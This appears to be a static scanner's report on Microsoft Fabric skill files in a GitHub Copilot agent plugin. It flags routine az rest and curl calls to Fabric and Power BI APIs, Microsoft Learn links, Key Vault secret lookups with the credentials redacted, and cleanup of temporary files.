az rest --method GET \ --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/reflexes/${REFLEX_ID}" \ - Network accessline 90
--url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/reflexes/${REFLEX_ID}" \ - Network accessline 91
--resource "https://api.fabric.microsoft.com" \ - Network accessline 104
DEFINITION=$(fabric_lro POST \ "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/reflexes/${REFLEX_ID}/getDefinition" \ - Network accessline 105
"https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/reflexes/${REFLEX_ID}/getDefinition" \ - Network accessline 116
DEFINITION=$(fabric_lro POST \ "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/reflexes/${REFLEX_ID}/getDefinition" \ - Network accessline 117
"https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/reflexes/${REFLEX_ID}/getDefinition" \ - Network accessline 270
- **Always use `--resource https://api.fabric.microsoft.com`** with `az rest` - Network accessline 301
# Step 1: List activators az rest --method GET \ --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/reflexes" \ - Network accessline 302
az rest --method GET --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/reflexes" - Network accessline 303
--url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/reflexes" \ - Network accessline 304
--resource "https://api.fabric.microsoft.com" \ - Network accessline 307
# Step 2: For a specific activator, get and decode its definition az rest --method POST \ --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/reflexes/${REFLEX_ID}/getDefinition" \ - Network accessline 308
az rest --method POST --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/reflexes/${REFLEX_ID}/getDefinition" - Network accessline 309
--url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/reflexes/${REFLEX_ID}/getDefinition" \ - Network accessline 310
--resource "https://api.fabric.microsoft.com" \ - Network accessline 321
# Decode definition and extract rule details az rest --method POST \ --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/reflexes/${REFLEX_ID}/getDefinition" \ - Network accessline 322
az rest --method POST --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/reflexes/${REFLEX_ID}/getDefinition" - Network accessline 323
--url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/reflexes/${REFLEX_ID}/getDefinition" \ - Network accessline 324
--resource "https://api.fabric.microsoft.com" \ - Network accessline 356
https://api.fabric.microsoft.com/v1/mcp/workspaces/{workspaceId}/reflexes/{activatorId}
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/azmon-mirroredcatalogs-operations-cli/SKILL.md
- Network accessline 141
- Azure Resource Graph - Fabric REST **read-only** discovery via authenticated `az rest --method get` against `https://api.fabric.microsoft.com/...` (discovery/read-only only) - Network accessline 142
- Fabric REST **read-only** discovery via authenticated `az rest --method get` against `https://api.fabric.microsoft.com/...` (discovery/read-only only) - Other documented supported capabilities available to the agent - Network accessline 143
against `https://api.fabric.microsoft.com/...` (discovery/read-only only) - Network accessline 146
**Log Analytics REST API reference (agent-facing).** When the Skill needs to perform or validate Azure Log Analytics operations, it may consult the official [Log Analytics REST APIs](https://learn.microsoft.com/en-us/rest/api/loganalytics/) - Network accessline 157
5. **Fabric REST read-only discovery via authenticated `az rest --method get`** — a narrow, permitted exception used ONLY for Fabric discovery/read against `https://api.fabric.microsoft.com/...`. It is GET-only, never creates, - Network accessline 158
a narrow, permitted exception used ONLY for Fabric discovery/read against `https://api.fabric.microsoft.com/...`. It is GET-only, never creates, updates, deletes, or modifies anything, and never exposes tokens, secrets, - Network accessline 159
`https://api.fabric.microsoft.com/...`. It is GET-only, never creates, - Network accessline 313
- The endpoint is `https://api.fabric.microsoft.com/...`. - Network accessline 329
- `GET https://api.fabric.microsoft.com/v1/workspaces/{id}` (detect), and - Network accessline 330
- `POST https://api.fabric.microsoft.com/v1/workspaces/{id}/provisionIdentity`
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/azmon-mirroredcatalogs-operations-cli/references/azmon-fabric-api-reference.md
- Network accessline 46
- Azure Resource Graph - Fabric REST **read-only** discovery via authenticated `az rest --method get` against `https://api.fabric.microsoft.com/...` - Network accessline 48
against `https://api.fabric.microsoft.com/...` - Network accessline 58
- Endpoint is `https://api.fabric.microsoft.com/...`. - Network accessline 94
- **List connections** (detection): `GET https://api.fabric.microsoft.com/v1/connections` - Network accessline 98
(`ServicePrincipal` for Mode A, `OAuth2` for Mode B). Returns only connections the caller holds a role on. [List Connections](https://learn.microsoft.com/en-us/rest/api/fabric/core/connections/list-connections) - Network accessline 99
the caller holds a role on. [List Connections](https://learn.microsoft.com/en-us/rest/api/fabric/core/connections/list-connections) - **Get a connection**: `GET https://api.fabric.microsoft.com/v1/connections/{connectionId}`. - Network accessline 100
[List Connections](https://learn.microsoft.com/en-us/rest/api/fabric/core/connections/list-connections) - Network accessline 101
- **Get a connection**: `GET https://api.fabric.microsoft.com/v1/connections/{connectionId}`. - Network accessline 102
[Get Connection](https://learn.microsoft.com/en-us/rest/api/fabric/core/connections/get-connection) - Network accessline 103
- **Discover the exact connector shape** (authoritative — resolves the Azure Monitor `type`, `creationMethod`, and required `parameters` instead of guessing): `GET https://api.fabric.microsoft.com/v1/connections/supportedConnectionTypes - Network accessline 104
Monitor `type`, `creationMethod`, and required `parameters` instead of guessing): `GET https://api.fabric.microsoft.com/v1/connections/supportedConnectionTypes?showAllCreationMethods=true` — each entry gives `type`, `creationMethods[].n - Network accessline 105
`GET https://api.fabric.microsoft.com/v1/connections/supportedConnectionTypes?showAllCreationMethods=true` - Network accessline 108
`supportedCredentialTypes`. Find the Azure Monitor / Log Analytics entry and use its returned `type` + `creationMethod` + `parameters` **verbatim**. [List Supported Connection Types](https://learn.microsoft.com/en-us/rest/api/fabric/cor - Network accessline 109
its returned `type` + `creationMethod` + `parameters` **verbatim**. [List Supported Connection Types](https://learn.microsoft.com/en-us/rest/api/fabric/core/connections/list-supported-connection-types) - **Create a connection** (Service P - Network accessline 110
[List Supported Connection Types](https://learn.microsoft.com/en-us/rest/api/fabric/core/connections/list-supported-connection-types) - Network accessline 111
- **Create a connection** (Service Principal / Mode A): `POST https://api.fabric.microsoft.com/v1/connections` with this documented skeleton — fill `type` / `creationMethod` / `parameters` from the - Network accessline 112
`POST https://api.fabric.microsoft.com/v1/connections` with this documented - Network accessline 143
or a `servicePrincipalSecret` supplied from an env var — **never** pasted into chat, logged, or echoed. [Create Connection](https://learn.microsoft.com/en-us/rest/api/fabric/core/connections/create-connection) - Network accessline 145
[Create Connection](https://learn.microsoft.com/en-us/rest/api/fabric/core/connections/create-connection) - Network accessline 244
Actions, Fabric / OneLake / Power BI execution capabilities, authenticated Fabric REST read-only discovery via `az rest --method get` against `https://api.fabric.microsoft.com/...` (GET-only, read-only, no modifications, - Network accessline 245
Fabric REST read-only discovery via `az rest --method get` against `https://api.fabric.microsoft.com/...` (GET-only, read-only, no modifications, no secret/token/header exposure, capability path stated), or any other - Network accessline 246
`https://api.fabric.microsoft.com/...` (GET-only, read-only, no modifications, - Network accessline 271
- [Items - REST API (MirroredCatalog)](https://learn.microsoft.com/en-us/rest/api/fabric/mirroredcatalog/items) - Network accessline 272
- [Mirrored Catalog item definition](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/mirrored-catalog-definition) - Network accessline 273
- [Discovery - REST API (MirroredCatalog)](https://learn.microsoft.com/en-us/rest/api/fabric/mirroredcatalog/discovery) - Network accessline 274
- [Monitoring - REST API (MirroredCatalog)](https://learn.microsoft.com/en-us/rest/api/fabric/mirroredcatalog/monitoring) - Network accessline 275
- [Refresh - REST API (MirroredCatalog)](https://learn.microsoft.com/en-us/rest/api/fabric/mirroredcatalog/refresh)
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/azmon-mirroredcatalogs-operations-cli/references/dashboard-reference.md
- Network accessline 42
The Microsoft Learn [KQL dashboard definition](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/kql-dashboard-definition)
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/azmon-mirroredcatalogs-operations-cli/references/eventhouse-shortcuts-reference.md
- Network accessline 131
Query acceleration is a [policy on external delta tables](https://learn.microsoft.com/en-us/kusto/management/query-acceleration-policy?view=microsoft-fabric)
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/azmon-mirroredcatalogs-operations-cli/references/mirrored-catalog-reference.md
- Network accessline 42
- [Items - REST API (MirroredCatalog)](https://learn.microsoft.com/en-us/rest/api/fabric/mirroredcatalog/items) - Network accessline 50
- [Mirrored Catalog item definition](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/mirrored-catalog-definition) - Network accessline 71
- [Discovery - REST API (MirroredCatalog)](https://learn.microsoft.com/en-us/rest/api/fabric/mirroredcatalog/discovery) - Network accessline 92
- [Monitoring - REST API (MirroredCatalog)](https://learn.microsoft.com/en-us/rest/api/fabric/mirroredcatalog/monitoring) - Network accessline 100
- [Refresh - REST API (MirroredCatalog)](https://learn.microsoft.com/en-us/rest/api/fabric/mirroredcatalog/refresh)
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/azmon-mirroredcatalogs-operations-cli/references/oauth-connection-reference.md
- Network accessline 17
1. A surfaced Fabric REST / Fabric Actions capability, if available. 2. Authenticated Fabric REST read-only discovery via `az rest --method get` against `https://api.fabric.microsoft.com/...`, if Azure CLI execution is - Network accessline 18
2. Authenticated Fabric REST read-only discovery via `az rest --method get` against `https://api.fabric.microsoft.com/...`, if Azure CLI execution is available and permitted under the read-only Fabric REST discovery exception - Network accessline 19
against `https://api.fabric.microsoft.com/...`, if Azure CLI execution is
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/azmon-mirroredcatalogs-operations-cli/references/operations-agent-reference.md
- Network accessline 174
> OperationsAgent API supports a **User (delegated) identity only** — **service > principal and managed identity are NOT supported** > ([Microsoft Learn: Create Operations Agent](https://learn.microsoft.com/en-us/rest/api/fabric/operationsa - Network accessline 175
> principal and managed identity are NOT supported** > ([Microsoft Learn: Create Operations Agent](https://learn.microsoft.com/en-us/rest/api/fabric/operationsagent/items/create-operations-agent) > — Microsoft Entra supported identities: Us - Network accessline 176
> ([Microsoft Learn: Create Operations Agent](https://learn.microsoft.com/en-us/rest/api/fabric/operationsagent/items/create-operations-agent) - Network accessline 233
https://learn.microsoft.com/en-us/fabric/real-time-intelligence/operations-agent - Network accessline 239
https://techcommunity.microsoft.com/blog/analyticsonazure/microsoft-fabric-operations-agent-step-by-step-walkthrough/4512572
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/azmon-mirroredcatalogs-operations-cli/references/telemetry-table-reference.md
- Network accessline 15
- [Azure Monitor tables for microsoft.insights/components (learn)](https://learn.microsoft.com/en-us/azure/azure-monitor/reference/tables/microsoft-insights-components) - Network accessline 16
- [Azure Monitor Logs table reference](https://learn.microsoft.com/en-us/azure/azure-monitor/reference/tables/)
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/azmon-mirroredcatalogs-operations-cli/references/workspace-discovery-policy-reference.md
- Network accessline 18
- Fabric / OneLake / Power BI execution capabilities, if surfaced. - Authenticated Fabric REST **read-only** discovery via `az rest --method get` against `https://api.fabric.microsoft.com/...`, if Azure CLI execution is - Network accessline 19
- Authenticated Fabric REST **read-only** discovery via `az rest --method get` against `https://api.fabric.microsoft.com/...`, if Azure CLI execution is available and permitted under the read-only Fabric REST discovery exception - Network accessline 20
against `https://api.fabric.microsoft.com/...`, if Azure CLI execution is
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/azmon-mirroredcatalogs-operations-cli/references/workspace-identity-connection-reference.md
- Network accessline 16
Monitor connector. Before proceeding, confirm `WorkspaceIdentity` appears in the Azure Monitor entry's `supportedCredentialTypes` from `GET https://api.fabric.microsoft.com/v1/connections/supportedConnectionTypes?showAllCreationMethods=true - Network accessline 17
Azure Monitor entry's `supportedCredentialTypes` from `GET https://api.fabric.microsoft.com/v1/connections/supportedConnectionTypes?showAllCreationMethods=true`. If absent, tell the user this option isn't available for this connector and of - Network accessline 18
`GET https://api.fabric.microsoft.com/v1/connections/supportedConnectionTypes?showAllCreationMethods=true`. - Network accessline 24
1. **Detect the identity.** `GET https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}` - Network accessline 27
2. **Provision if absent (confirmation-gated).** Caller must have the workspace **Admin** role and delegated `Workspace.ReadWrite.All`. On confirmation: `POST https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/provisionIdent - Network accessline 28
**Admin** role and delegated `Workspace.ReadWrite.All`. On confirmation: `POST https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/provisionIdentity`. `200` returns `{ applicationId, servicePrincipalId }`; `202` is a long-run - Network accessline 29
`POST https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/provisionIdentity`.
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/databricks-migration/SKILL.md
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/databricks-migration/resources/code-patterns.md
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/databricks-migration/resources/dbutils-to-notebookutils.md
- Network accessline 37
| `dbutils.fs.head(path, maxBytes=65536)` | `notebookutils.fs.head(path, max_bytes=102400)` | ⚠<U+FE0F> **Default differs**: Python/Scala `102400` (100 KB), R `65535` (Scala uses `maxBytes`) | | `dbutils.fs.append(path, contents, createIfNotExists - Network accessline 38
| `dbutils.fs.append(path, contents, createIfNotExists)` | `notebookutils.fs.append(file, content, createFileIfNotExists=False)` | **Equivalent**. Add `time.sleep(0.5)` between writes in loops (async flush) | | `dbutils.fs.mount(source, mou - Network accessline 39
| `dbutils.fs.mount(source, mountPoint, …)` | `notebookutils.fs.mount(source, mountPoint, extraConfigs=None)` | ✅ **Supported**. Microsoft Entra (default), `accountKey`, or `sasToken` auth. `extraConfigs` also accepts `timeout` (default 30 - Network accessline 44
| `dbutils.fs.help()` | `notebookutils.fs.help()` | **Identical** | | _(no dbutils equivalent)_ | `notebookutils.fs.exists(path)` | New — prefer over try/except for existence checks | | _(no dbutils equivalent)_ | `notebookutils.fs.fastcp(s - Network accessline 45
| _(no dbutils equivalent)_ | `notebookutils.fs.exists(path)` | New — prefer over try/except for existence checks | | _(no dbutils equivalent)_ | `notebookutils.fs.fastcp(src, dest, recurse=True, extraConfigs=None)` | New — azcopy-backed; u - Network accessline 46
| _(no dbutils equivalent)_ | `notebookutils.fs.fastcp(src, dest, recurse=True, extraConfigs=None)` | New — azcopy-backed; use for large/bulk copies. Doesn't work across OneLake regions — fall back to `cp`. For S3/GCS-typed OneLake Shortcut - Network accessline 104
# Auth via account key from Key Vault account_key = notebookutils.credentials.getSecret("https://my-kv.vault.azure.net/", "storageKey") - Network accessline 105
account_key = notebookutils.credentials.getSecret("https://my-kv.vault.azure.net/", "storageKey") - Network accessline 112
[Credential-related source omitted] - Network accessline 113
[Credential-related source omitted] - Network accessline 128
# Create a OneLake Shortcut once (Portal or REST API): # https://learn.microsoft.com/fabric/onelake/onelake-shortcuts - Network accessline 129
# https://learn.microsoft.com/fabric/onelake/onelake-shortcuts - Access to secretsline 159
[Credential-related source omitted] - Network accessline 161
[Credential-related source omitted] - Network accessline 162
[Credential-related source omitted] - Network accessline 163
"https://my-keyvault.vault.azure.net/", - Network accessline 165
[Credential-related source omitted] - Network accessline 166
[Credential-related source omitted] - Access to secretsline 166
[Credential-related source omitted] - Network accessline 167
"https://my-keyvault.vault.azure.net/", - Network accessline 180
| `dbutils.notebook` Method | `notebookutils.notebook` Equivalent | Notes | |---|---|---| | `dbutils.notebook.run(path, timeout, arguments)` | `notebookutils.notebook.run(path, timeout_seconds=90, arguments=None, workspace="")` | `path` is - Network accessline 181
|---|---|---| | `dbutils.notebook.run(path, timeout, arguments)` | `notebookutils.notebook.run(path, timeout_seconds=90, arguments=None, workspace="")` | `path` is the child notebook **name**. `workspace` is the **workspace ID** for cross-w - Network accessline 182
| `dbutils.notebook.run(path, timeout, arguments)` | `notebookutils.notebook.run(path, timeout_seconds=90, arguments=None, workspace="")` | `path` is the child notebook **name**. `workspace` is the **workspace ID** for cross-workspace runs - Network accessline 270
> ⚠<U+FE0F> **Caveats** (per [docs](https://learn.microsoft.com/en-us/fabric/data-engineering/notebookutils/notebookutils-variable-library)): `notebookutils.variableLibrary` is **same-workspace only** — cross-workspace reads (including child noteb - Network accessline 347
`notebookutils.runtime.context` returns a read-only map. Property names use the `current*` / `default*` / `root*` prefix — they are **not** the same names as Databricks tags. The sample below shows the most common keys; the full key list (i
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/dataflows-cli/references/authoring.md
- Network accessline 80
# List workspaces — find workspace ID by name az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 81
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 82
--resource "https://api.fabric.microsoft.com" \ - Network accessline 83
--url "https://api.fabric.microsoft.com/v1/workspaces" \ - Network accessline 87
WS_ID="<workspaceId>" az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 88
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 89
--resource "https://api.fabric.microsoft.com" \ - Network accessline 90
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/dataflows" \ - Network accessline 97
WS_ID="<workspaceId>" DF_ID="<dataflowId>" API="https://api.fabric.microsoft.com/v1" - Network accessline 98
DF_ID="<dataflowId>" API="https://api.fabric.microsoft.com/v1" RESOURCE="https://api.fabric.microsoft.com" - Network accessline 99
API="https://api.fabric.microsoft.com/v1" - Network accessline 100
RESOURCE="https://api.fabric.microsoft.com" - Network accessline 120
1. **List existing connections** and filter by `connectionDetails.type` and the target URL/host — reuse if a match exists (`GET /v1/connections` + JMESPath). 2. **If no match, create the connection.** First `GET /v1/connections/supportedCon - Network accessline 121
2. **If no match, create the connection.** First `GET /v1/connections/supportedConnectionTypes` to discover required parameters and supported credential types, then `POST /v1/connections` (sync 201). Body shape and credential schemas: [conn - Network accessline 122
3. **Resolve `ClusterId` for the composite binding.** `GET https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources` with `--query "value[?id=='$CONN_ID'] | [0].clusterId"`, audience `--resource "https://analysis.windows.net/powerbi/ - Network accessline 134
WS_ID="<workspaceId>"; URL="<source-url>" RES="https://api.fabric.microsoft.com"; API="$RES/v1" - Network accessline 135
RES="https://api.fabric.microsoft.com"; API="$RES/v1" - Network accessline 136
PBI="https://analysis.windows.net/powerbi/api" - Network accessline 143
# 3. List+filter for ClusterId CLUSTER_ID=$(az rest --method get --resource "$PBI" \ --url "https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources" \ - Network accessline 144
CLUSTER_ID=$(az rest --method get --resource "$PBI" --url "https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources" - Network accessline 145
--url "https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources" \ - Dangerous shell operationline 155
rm -f "$SHELL_BODY" - Network accessline 179
# Concise skeleton — full templates: references/authoring-script-templates.md # Acquire $TOKEN per common/COMMON-CLI.md § Token-in-Variable Pattern (resource = $RESOURCE). RESOURCE="https://api.fabric.microsoft.com"; API="$RESOURCE/v1" - Network accessline 181
RESOURCE="https://api.fabric.microsoft.com"; API="$RESOURCE/v1" - Network accessline 183
[Credential-related source omitted] - Network accessline 184
[Credential-related source omitted] - Network accessline 185
[Credential-related source omitted] - Dangerous shell operationline 202
rm -f "$HDR" "$BODY" - Network accessline 213
# 2-3. Formulate & Execute — see Example 3 # 4. Verify — trigger refresh via curl (az rest cannot capture Location header). - Network accessline 214
# 4. Verify — trigger refresh via curl (az rest cannot capture Location header). - Network accessline 254
# Skeleton — full PowerShell recipe: references/output-destinations.md § Complete Example WS_ID="<workspaceId>"; LH_ID="<lakehouseId>"; RES="https://api.fabric.microsoft.com" - Network accessline 255
WS_ID="<workspaceId>"; LH_ID="<lakehouseId>"; RES="https://api.fabric.microsoft.com" - Network accessline 274
- **Offer to preview every entity before the first refresh of a new dataflow** — after creating the shell and binding connections via `updateDefinition` (which persists the definition), ask the user if they want to see preview charts before - Network accessline 275
- **`az login` first** — all `az rest` calls use the active session. No session → 401. - **Use `--resource "https://api.fabric.microsoft.com"` for Fabric APIs.** For Power BI v2 (`gatewayClusterDatasources`), use `--resource "https://analys - Network accessline 276
- **Use `--resource "https://api.fabric.microsoft.com"` for Fabric APIs.** For Power BI v2 (`gatewayClusterDatasources`), use `--resource "https://analysis.windows.net/powerbi/api"` **without a trailing slash** — the slashed form fails `AAD - Network accessline 300
- **Using `GET /v1/workspaces/{ws}/items/{itemId}/connections` to verify a freshly-bound dataflow.** It reflects refresh-materialized state, **not** the persisted definition, and returns 0 after a successful bind. Verify via `getDefinition` - Network accessline 301
- **Assuming `updateDefinition` / `POST /dataflows` is always LRO.** Typical responses are sync (200/201); handle both shapes — see MUST DO above. - **Requesting the PBI v2 token with a trailing slash** (`--resource "https://analysis.window - Network accessline 302
- **Requesting the PBI v2 token with a trailing slash** (`--resource "https://analysis.windows.net/powerbi/api/"`) — fails `AADSTS500011 invalid_resource`. Use the no-slash form. - Network accessline 333
| Symptom | Fix | |---|---| | 401 Unauthorized | Verify `az login` is active; check `--resource "https://api.fabric.microsoft.com"` (or `https://analysis.windows.net/powerbi/api` **no trailing slash** for PBI v2). | - Network accessline 334
|---|---| | 401 Unauthorized | Verify `az login` is active; check `--resource "https://api.fabric.microsoft.com"` (or `https://analysis.windows.net/powerbi/api` **no trailing slash** for PBI v2). | | 405 Method Not Allowed on `getDefinition - Network accessline 335
| 401 Unauthorized | Verify `az login` is active; check `--resource "https://api.fabric.microsoft.com"` (or `https://analysis.windows.net/powerbi/api` **no trailing slash** for PBI v2). | - Network accessline 339
| `executeQuery` → 400 `DataflowExecuteQueryError: ErrorCode: QueryNotFound` | The value of `QueryName` doesn't match any `shared` member of the persisted M or supplied `customMashupDocument`. List queries via `getDefinition` → decode `mash - Network accessline 340
| `GET /items/{id}/connections` returns 0 after a successful bind | That endpoint reflects refresh-materialized state, not the definition. Verify via `getDefinition` → decode `queryMetadata.json.connections[]`. | | 404 / `PowerBIEntityNotFo - Network accessline 341
| 404 / `PowerBIEntityNotFound` fetching `ClusterId` from `gatewayClusterDatasources/{id}` | Per-id route does not resolve cloud connections. Use list + filter: `GET .../gatewayClusterDatasources --query "value[?id=='$CONN_ID'] \| [0].clust - Network accessline 350
| Base64 decode produces garbage | Strip trailing newlines; use `base64 -w0` (Linux). | | Inline `--body "<json>"` returns 400 / empty body on Windows | `cmd.exe` arg parser mangles quotes when launching `az.exe`. Write to `$env:TEMP\body.j - Network accessline 352
| Refresh fails with `EntityUserFailure` / "Something went wrong" and no detail | (1) Confirm `updateDefinition` was called after create; (2) check credential type — `OAuth2`+`singleSignOnType: None` often fails under tenant Conditional Acc - Network accessline 369
DF_NAME="my-titanic-df" CONN_NAME="my-titanic-web-conn" URL="https://raw.githubusercontent.com/datasciencedojo/datasets/master/titanic.csv" - Network accessline 370
CONN_NAME="my-titanic-web-conn" URL="https://raw.githubusercontent.com/datasciencedojo/datasets/master/titanic.csv" RES="https://api.fabric.microsoft.com"; API="$RES/v1" - Network accessline 371
URL="https://raw.githubusercontent.com/datasciencedojo/datasets/master/titanic.csv" - Network accessline 372
RES="https://api.fabric.microsoft.com"; API="$RES/v1" - Network accessline 373
PBI="https://analysis.windows.net/powerbi/api" # NO trailing slash - Dangerous shell operationline 400
rm -f "$BODY_FILE" - Network accessline 404
for i in 1 2 3 4 5 6 7 8; do CLUSTER_ID=$(az rest --method get --resource "$PBI" \ --url "https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources" \ - Network accessline 405
CLUSTER_ID=$(az rest --method get --resource "$PBI" --url "https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources" - Network accessline 406
--url "https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources" \ - Dangerous shell operationline 425
rm -f "$SHELL_BODY" - Network accessline 440
}') PLATFORM=$(jq -n --arg name "$DF_NAME" --arg lid "$(uuidgen)" '{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/gitIntegration/platformProperties/2.0.0/schema.json", - Network accessline 441
PLATFORM=$(jq -n --arg name "$DF_NAME" --arg lid "$(uuidgen)" '{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/gitIntegration/platformProperties/2.0.0/schema.json", metadata: { type: "Dataflow", displayName: $name }, - Network accessline 442
"$schema": "https://developer.microsoft.com/json-schemas/fabric/gitIntegration/platformProperties/2.0.0/schema.json", - Dangerous shell operationline 462
rm -f "$BODY_FILE" - Network accessline 464
# Step 6: Verify connections[] persisted via getDefinition (NOT /items/{id}/connections). # Assumes the sync 200 fast-path (typical, ~1s). If the call ever returns 202 LRO, # az rest can't expose the Location header — switch to the curl + p - Network accessline 465
# Assumes the sync 200 fast-path (typical, ~1s). If the call ever returns 202 LRO, # az rest can't expose the Location header — switch to the curl + poll pattern from # Example 3 / authoring-script-templates.md and decode the polled 200 bod - Network accessline 466
# az rest can't expose the Location header — switch to the curl + poll pattern from - Dangerous shell operationline 482
rm -f "$EQ_BODY" - Network accessline 498
# On the first refresh after any updateDefinition, body MUST include executeOption=ApplyChangesIfNeeded # (otherwise Fabric refreshes the previously-applied definition). # Acquire $TOKEN per common/COMMON-CLI.md § Token-in-Variable Pattern - Network accessline 499
# (otherwise Fabric refreshes the previously-applied definition). # Acquire $TOKEN per common/COMMON-CLI.md § Token-in-Variable Pattern (resource = https://api.fabric.microsoft.com). LOCATION=$(curl -sS -X POST \ - Network accessline 500
[Credential-related source omitted] - Network accessline 501
LOCATION=$(curl -sS -X POST \ - Network accessline 502
[Credential-related source omitted] - Network accessline 503
--data '{"executionData":{"executeOption":"ApplyChangesIfNeeded"}}' \ "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/dataflows/${DF_ID}/jobs/instances?jobType=Refresh" \ -o /dev/null -D - | tr -d '\r' | grep -i "^location:" | - Network accessline 504
"https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/dataflows/${DF_ID}/jobs/instances?jobType=Refresh" \ - Network accessline 516
while [ "$ATTEMPT" -lt "$MAX_POLLS" ]; do STATUS=$(az rest --method get --url "$LOCATION" \ --resource "https://api.fabric.microsoft.com" --query "status" -o tsv) - Network accessline 517
STATUS=$(az rest --method get --url "$LOCATION" --resource "https://api.fabric.microsoft.com" --query "status" -o tsv) - Network accessline 518
--resource "https://api.fabric.microsoft.com" --query "status" -o tsv) - Network accessline 533
# Surface the raw job instance and stop; do not assume success. echo "Polling stopped after ${MAX_POLLS} attempts with non-terminal status '$STATUS' (max-poll timeout, not a terminal outcome)." az rest --method get --url "$LOCATION" - Network accessline 534
echo "Polling stopped after ${MAX_POLLS} attempts with non-terminal status '$STATUS' (max-poll timeout, not a terminal outcome)." az rest --method get --url "$LOCATION" --resource "https://api.fabric.microsoft.com" exit 1 ;; - Network accessline 535
az rest --method get --url "$LOCATION" --resource "https://api.fabric.microsoft.com" - Network accessline 539
# ErrorResponse with .errorCode / .isRetriable / .message) and STOP. Do NOT re-trigger or keep # polling when .failureReason.isRetriable=false or the error is workspace-wide. az rest --method get --url "$LOCATION" --resource "ht - Network accessline 540
# polling when .failureReason.isRetriable=false or the error is workspace-wide. az rest --method get --url "$LOCATION" --resource "https://api.fabric.microsoft.com" exit 1 ;; - Network accessline 541
az rest --method get --url "$LOCATION" --resource "https://api.fabric.microsoft.com" - Network accessline 557
# This is distinct from the LRO operation enum (Running / Succeeded / Failed / Cancelled). # Refresh "success" = "Completed", not "Succeeded". # Acquire $Token per common/COMMON-CLI.md § Token-in-Variable Pattern (resource = https://api - Network accessline 558
# Refresh "success" = "Completed", not "Succeeded". # Acquire $Token per common/COMMON-CLI.md § Token-in-Variable Pattern (resource = https://api.fabric.microsoft.com). try { - Network accessline 559
# Acquire $Token per common/COMMON-CLI.md § Token-in-Variable Pattern (resource = https://api.fabric.microsoft.com). - Network accessline 560
try { $Resp = Invoke-WebRequest -Method POST -UseBasicParsing ` -Uri "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/dataflows/$DF_ID/jobs/instances?jobType=Refresh" ` - Network accessline 561
$Resp = Invoke-WebRequest -Method POST -UseBasicParsing -Uri "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/dataflows/$DF_ID/jobs/instances?jobType=Refresh" - Network accessline 562
-Uri "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/dataflows/$DF_ID/jobs/instances?jobType=Refresh" ` - Network accessline 572
do { $Status = az rest --method get --url $Location ` --resource "https://api.fabric.microsoft.com" --query "status" -o tsv - Network accessline 573
$Status = az rest --method get --url $Location --resource "https://api.fabric.microsoft.com" --query "status" -o tsv - Network accessline 574
--resource "https://api.fabric.microsoft.com" --query "status" -o tsv - Network accessline 580
# Max-poll bound reached before any terminal status — a polling timeout, NOT a terminal outcome. Write-Host "Polling stopped after $MaxPolls attempts with non-terminal status '$Status' (max-poll timeout, not a terminal outcome)." az res - Network accessline 581
Write-Host "Polling stopped after $MaxPolls attempts with non-terminal status '$Status' (max-poll timeout, not a terminal outcome)." az rest --method get --url $Location --resource "https://api.fabric.microsoft.com" exit 1 - Network accessline 582
